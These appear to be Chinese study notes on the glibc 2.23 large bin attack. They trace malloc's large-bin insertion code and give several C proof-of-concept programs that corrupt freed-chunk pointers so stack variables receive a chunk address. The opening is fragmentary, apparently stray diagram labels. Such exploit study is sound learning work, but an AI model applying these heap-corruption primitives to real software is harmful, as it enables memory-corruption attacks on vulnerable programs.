pwngdb命令,方便源码调试
set context-sections code
set context-source-code-lines 40
先看图解,再回头看代码
)下面是从unsorted bin链中取出的chunk,插入到large bin链的代码
基本逻辑如下:
bck
fwd
(large bin链中第一个chunk)当前large bin链不为空(操作的是fd_nextsize和bk_nextsize形成的链)
<
large bin链中最小的chunk
总结:将当前chunk插入到large bin链的尾部,即插入到最小的chunk的后面
)fwd = bck;
令 fwd 指向 large bin 头结点bck = bck->bk;
令 bck 指向 largin bin 尾部 chunk,就是当前已在large bin链中最小的这个chunkvictim->fd_nextsize = fwd->fd;
当前chunk 的 fd_nextsize 指向 largin bin 的第一个 chunkvictim->bk_nextsize = fwd->fd->bk_nextsize;
当前chunk的 bk_nextsize 指向原来链表的第一个 chunk 指向的 bk_nextsize(当前chunk的bk_nextsize指向原先最小的chunk)fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
原先最小chunk的fd_nextsize指向当前chunkfwd->fd->bk_nextsize = victim
large bin中第一个chunk的bk_nextsize指向当前chunk>=
large bin链中最小的chunk
fwd
(large bin链中第一个chunk),从大到小遍历,找到首个不大于当前chunk的chunk等于
当前chunk
fwd = fwd->fd;
将当前chunk 插入到该chunk的后面,并不修改 nextsize 指针小于
当前chunk
victim->fd_nextsize = fwd;
当前chunk的fd_nextsize指向这个找到的chunkvictim->bk_nextsize = fwd->bk_nextsize;
当前chunk的bk_nextsize指向这个找到的chunk的bk_nextsizefwd->bk_nextsize = victim;
找到chunk的bk_nextsize指向当前chunkvictim->bk_nextsize->fd_nextsize = victim;
找到chunk原先前面的chunk的fd_nextsize指向当前chunk当前large bin链为空(操作的是fd_nextsize和bk_nextsize形成的链)
fd_nextsize
和bk_nextsize
均指向自己fd,bk形成的链
)这里fd,bk,fd_nextsize,bk_nextsize指向都是chunk的首地址
large bin fd总是指向size最大的chunk
large bin bk总是指向size最小的chunk
large bin链中的chunk,通过large bin fd 从大到小排序
large bin链中的chunk,通过large bin fd 从大到小排序
只不过在代码实现中,通过large bin bk 快速来实现这一步
在代码中,有这么一个注释/* Always insert in the second position. */
,就是大小相同的chunk,紧临着相同大小首个进入large bin链的chunk放置(可以看下面chunk e一起理解
)
大小相同(重复
)的chunk,不会有fd_nextsize,bk_nextsize(忘掉横向链,竖向链
)
如上情况就是入large bin链的所有逻辑
unsafe_unlink
和unsorted_bin_attack
how2heap-2.23-05-unsorted_bin_attack
how2heap-2.23-06-unsorted_bin_into_stack
unsafe_unlink
是因为一个被破坏的
chunk脱链,重新修整指针时引发的问题
unsorted_bin_attack
也是一个被破坏
的chunk脱链,重新修整指针时引发的问题
large_bin_attack
原理与上面的两个差不多,是一个chunk入链,与一个被破坏
的chunk重新修整指针时引发的问题
只考虑2.23的源码
unsorted bin chunk进入large bin链的四种逻辑:
large bin chunk出large bin链
好像入链归于large_bin_attack
,出链归于unsafe_unlink
,不清楚,只看入链的逻辑
下面通过被破坏的large bin chunk实现漏洞利用
的角度来观察不同入链的逻辑(一般是堆溢出修改large bin的fd,bk,fd_nextsize,bk_nextsize
)
这里没有利用场景
先看看该入链逻辑所涉及的代码,寻找可被破坏-用于利用的chunk(从而有堆溢出产生时,构造这种堆结构)
,以及利用方式
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index); 【1】
fwd = bck->fd; 【2】
if (fwd != bck)
{
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck; 【3】
bck = bck->bk; 【4】
victim->fd_nextsize = fwd->fd; 【5】
victim->bk_nextsize = fwd->fd->bk_nextsize; 【6】
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; 【7】
}
mark_bin (av, victim_index);
victim->bk = bck; 【8】
victim->fd = fwd; 【9】
fwd->bk = victim; 【10】
bck->fd = victim; 【11】
victim
为要入链的chunkbck
为large bin链的头结点,这个位置是一个固定死的值(除非篡改了arena的位置
)fwd
为large bin链中size最大的chunk,也就是紧挨着large bin头结点的chunkfwd
为large bin链的头结点bck
为large bin链中size最小的chunk现在bck,victim,fwd,三要素集齐,下面就是构造如下的双链
考虑到fwd时large bin链的头结点,实际的图形如下的两种形式
【5】victim->fd_nextsize = fwd->fd;
fwd为large bin链的头结点,fwd->fd指向的是一个chunk的地址,即size最大的chunk(如果原先large bin链中只有一个chunk,就是指向的那个size最小的chunk的地址),这里没有办法伪造
【6】victim->bk_nextsize = fwd->fd->bk_nextsize;
与【5】中描述的类似,fwd->fd指向的是与large bin头节点最近的chunk,而 fwd->fd->bk_nextsize
是该chunk中的数据,如果有堆溢出漏洞,就可以篡改这个chunk的bk_nextsize
字段,并赋值给要链入的chunk的bk_nextsize
字段
【7】fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
分成两部分看
fwd->fd->bk_nextsize = victim
仅是给紧挨着large bin头结点的chunk的bk_nextsize
字段赋值
victim->bk_nextsize->fd_nextsize = victim
对篡改的bk_nextsize
chunk的fd_nextsize
字段赋值为victim
如果有一个unsigned long stack_var = 0;
变量,将篡改的bk_nextsize赋值为(unsigned long )(&stack_var -4)
,那就可以修改这个变量的值了
【8】,【9】,【10】,【11】都是不能控制的
下面是相关代码,可以自己调试看看
#include <malloc.h>
#include <stdio.h>
// OK
int main()
{
printf("begin test\n");
unsigned long stack_var = 0;
size_t *p1 = malloc(0x410); //largebin
malloc(0x10); //to separate
size_t *p2 = malloc(0x400); //unsortedbin
malloc(0x10); //to separate
free(p1);
malloc(0x470); //Release p1 into largebin
free(p2); //Release p2 into unsortedbin
p1[3] = (unsigned long )(&stack_var -4);
malloc(0x470);
return 0;
}
#include <malloc.h>
#include <stdio.h>
// OK
int main()
{
printf("begin test\n");
unsigned long stack_var = 0;
size_t *p1 = malloc(0x420);
malloc(0x10);
size_t *p2 = malloc(0x410);
malloc(0x10);
size_t *p3 = malloc(0x400);
malloc(0x10);
free(p1);
free(p2);
malloc(0x470);
free(p3);
p1[3] = (unsigned long )(&stack_var -4);
malloc(0x470);
return 0;
}
所涉及的代码如下
victim_index = largebin_index (size);
bck = bin_at (av, victim_index); 【1】
fwd = bck->fd; 【2】
if (fwd != bck)
{
size |= PREV_INUSE;
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
}
else
{
while ((unsigned long) size < chunksize_nomask (fwd)) 【3】
{
fwd = fwd->fd_nextsize;
}
if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd; 【4】
else
{
}
bck = fwd->bk; 【5】
}
}
}
mark_bin (av, victim_index);
victim->bk = bck; 【6】
victim->fd = fwd; 【7】
fwd->bk = victim; 【8】
bck->fd = victim; 【9】
【1】bck
为large bin链的头结点,这个位置是一个固定死的值(除非篡改了arena的位置
)
【2】fwd
为large bin链中size最大的chunk,也就是紧挨着large bin头结点的chunk
【3】通过fwd
从大到小,寻找到第一个不大于victim size的chunk
如下就是fwd和victim
【4】如果fwd和victim大小相等,就会把fwd中的fd取出来用,从上图可以可以想到,假设存在堆溢出漏洞,那就可以修改fwd->fd
经过赋值,伪造的fd指向的chunk,成为fwd
【5】将伪造的fwd的bk取出,作为bck
这里有个问题,伪造的fwd chunk的bk字段必须是要有内容的,最好是个可写内存的地址,否则执行【9】时程序会崩溃
【6】,【7】给victim chunk的bk,fd赋值,这个不管
【8】,伪造的fwd chunk的bk赋值为victim chunk的地址
【9】,这个太不稳定了,不管
这种攻击场景,适用于覆盖栈中保存的堆地址的变量,将其保存的堆地址修改为victim chunk的地址
#include <malloc.h>
#include <string.h>
int main()
{
printf("begin\n");
char* test_chunk = malloc(0x1000);
size_t * a = malloc(0x410);
malloc(0x8);
size_t *b = malloc(0x410);
size_t * victim = malloc(0x400);
malloc(0x8);
free(a);
malloc(0x470);
free(b);
a[0] = (unsigned long )(&test_chunk -3);
printf("before vuln\n");
malloc(0x470);
printf("after vuln\n");
memset(test_chunk, 'a', 0x900);
char show_array[100];
memcpy(show_array, victim+20,30);
printf("%s\n",show_array);
return 0;
}
所涉及的代码如下
victim_index = largebin_index (size);
bck = bin_at (av, victim_index); 【1】
fwd = bck->fd; 【2】
if (fwd != bck)
{
size |= PREV_INUSE;
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
}
else
{
while ((unsigned long) size < chunksize_nomask (fwd)) 【3】
{
fwd = fwd->fd_nextsize;
}
if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
else
{
victim->fd_nextsize = fwd; 【4】
victim->bk_nextsize = fwd->bk_nextsize; 【5】
fwd->bk_nextsize = victim; 【6】
victim->bk_nextsize->fd_nextsize = victim; 【7】
}
bck = fwd->bk; 【8】
}
}
else
}
mark_bin (av, victim_index);
victim->bk = bck; 【9】
victim->fd = fwd; 【10】
fwd->bk = victim; 【11】
bck->fd = victim; 【12】
bck
为large bin链的头结点,这个位置是一个固定死的值(除非篡改了arena的位置
)fwd
为large bin链中size最大的chunk,也就是紧挨着large bin头结点的chunkfwd
从大到小,寻找到第一个不大于victim size的chunk如下就是fwd和victim
假设存在堆溢出漏洞,可以溢出修改fwd中的数据
【4】victim->fd_nextsize = fwd
,victim的fd_nextsize存储fwd chunk的首地址,这个没有办法伪造
【5】victim->bk_nextsize = fwd->bk_nextsize
,victim的bk_nextsize存储fwd chunk中伪造的bk_nextsize
【6】fwd->bk_nextsize = victim
,fwd的bk_nextsize字段赋值为victim chunk的首地址,这个正常
【7】victim->bk_nextsize->fd_nextsize = victim
,将伪造的bk_nextsize chunk的fd_nextsize字段覆盖为victim chunk的首地址
【8】bck = fwd->bk
,bck指向fwd伪造的bk
【8】和【9】,给victim chunk 的fd和bk赋值
【11】给fwd的bk字段赋值
【12】给伪造的bk chunk的fd字段赋值为victim chunk的首地址
如果存在两个变量(一个也行)stack_var1,stack_var2
通过堆溢出漏洞,将fwd的bk修改为&stack_var1-2
,fwd的bk_nextsize
修改为&stack_var2-4
,则stack_var1和stack_var2存储的内容在漏洞触发后都能修改为victim chunk的首地址
测试代码如下
#include <stdio.h>
#include <malloc.h>
int main()
{
printf("begin test\n");
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
size_t * p1 = malloc(0x410);
malloc(0x8);
size_t * p2 = malloc(0x420);
malloc(0x8);
free(p1);
malloc(0x470);
free(p2);
p1[1] = (unsigned long )(&stack_var1 - 2);
p1[3] = (unsigned long )(&stack_var2 - 4);
malloc(0x470);
return 0;
}
现在how2heap中的large_bin_attack应该可以完全理解了